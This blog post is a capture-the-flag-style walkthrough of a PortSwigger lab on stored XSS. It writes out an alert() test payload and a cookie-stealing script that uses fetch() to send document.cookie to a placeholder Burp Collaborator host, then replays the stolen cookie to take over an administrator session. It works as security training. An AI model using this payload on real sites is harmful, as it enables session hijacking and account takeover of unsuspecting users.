Exploiting XSS To Steal Cookies

Today, we’ll be diving into another blind vulnerability — a scenario more like what you’ll find while testing applications in the real-world.

What does it mean for a vulnerability to be blind? It means that the app itself is not going to verify the vulnerability for us through any form of reflection. Instead, we’ll need to rely on our methodology and alternative techniques to verify the presence of a vulnerability.

Exploit the stored XSS vulnerability to exfiltrate victim session cookies and use it to impersonate the victim.

Stored XSS (Stored Cross-Site Scripting) is a security vulnerability where malicious scripts are permanently stored on a target server, such as in a database, and then served to users when they access the infected page. When users view the page, the script executes in their browsers, allowing attackers to steal data, hijack accounts, or impersonate users.

If you enjoy this article and want to be the first to see more like it, consider subscribing to my newsletter, the Cybersec Cafe, for free. I post content there first, and here second. Plus, you’ll get it straight to your inbox.

My goal is to deliver you value in various cybersecurity topics each week and to become your ultimate destination for expanding your expertise or for any aspiring cybersecurity professionals to break into the field.

Want to give the lab a try yourself and follow along? You can check it out on PortSwigger’s website here for free.

We’re met with a blog site for this lab instance.

But when we think about it, this makes sense in the context of the vulnerability — comments are saved in a database and loaded back into the page to show users.

So, let’s navigate to a blog post.

In order to capture the comment request in Burp, we’ll need to leave a test comment:

It really doesn’t matter what we leave in each field at this point, what matters is we capture what a demo request will look like.

Since we already have an idea that this is going to be our attack vector, we’ll have to test this endpoint.

Let’s kick off an active scan on the request to automate this testing, but let’s also verify our suspicions manually too.

In order to test our attack vector, let’s try a standard payload in order to see if we can trigger javascript: <script>alert()</script>

Let’s first test this in the comment field:

If we post this comment and then navigate backt to the blog post page, we can see if an alert fires…

Bingo!

We got the alert, verifying we found our XSS attack vector.

Now, let’s navigate to a different blog post in the app to actually exploit this vulnerability in the context of this lab.

The one problem with using alert() in your test payloads is that it is quite invasive - every time you now refresh this page it’ll fire an alert.

Another option that is less invasive for testing is using console.log() and verifying in the dev tools.

But for now, let’s steal this cookie.

If we explore the PortSwigger Academy XSS Docs, we can find a script on exactly how to steal cookies from an unsuspecting user:

<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>

What this script will do is take an unsuspecting user’s cookie when they visit the page and send it to our Burp Collaborator, where we’ll be able to view the interactions.

All we’ll need to do is input this payload in the comment section, replace the fetch statement with our collaborator link, and wait…

Send the payload into the blog post and navigate to your Collaborator tab in Burp:

We can see we immediately get hits!

But the one that is especially of interest to us is the HTTP interaction.

We can see that the user’s cookie is in the body of the request.

Now, let’s navigate on over to the login page. Click the My Account button and intercept the request.

Take the token we grabbed from Collaborator and put it in place of our own session cookie:

Forward the request on…

And there it is!

We can see we’re now riding the user’s session and have gained access to an administrator account.

Lab solved!

This attack demonstrates the real-life danger of a stored XSS vulnerability. First, from a distribution perspective, we’ve been able to store an XSS attack that will be executed on any user that visits the page. From a severity perspective, we were able to intercept an administrator cookie and hijack their session to impersonate them. This is pretty much as bad as it gets for a web application! Sanitize user input safely!

—

Remember: The Cybersec Café gets articles first. Subscribe for free here.

Interested in getting into Cybersecurity? I have a course called the Security Sip. The curriculum is designed to help you build skills progressively over 12 sections, 85 modules, and 155 exercises. With rapidly evolving threats and technologies widening the skill gap, it’s time to secure your future in cybersecurity. Available Now!

Oh, and if you want even more content and updates, hop over to Ryan G. Cox on Twitter/X. Can’t wait to keep sharing and learning together!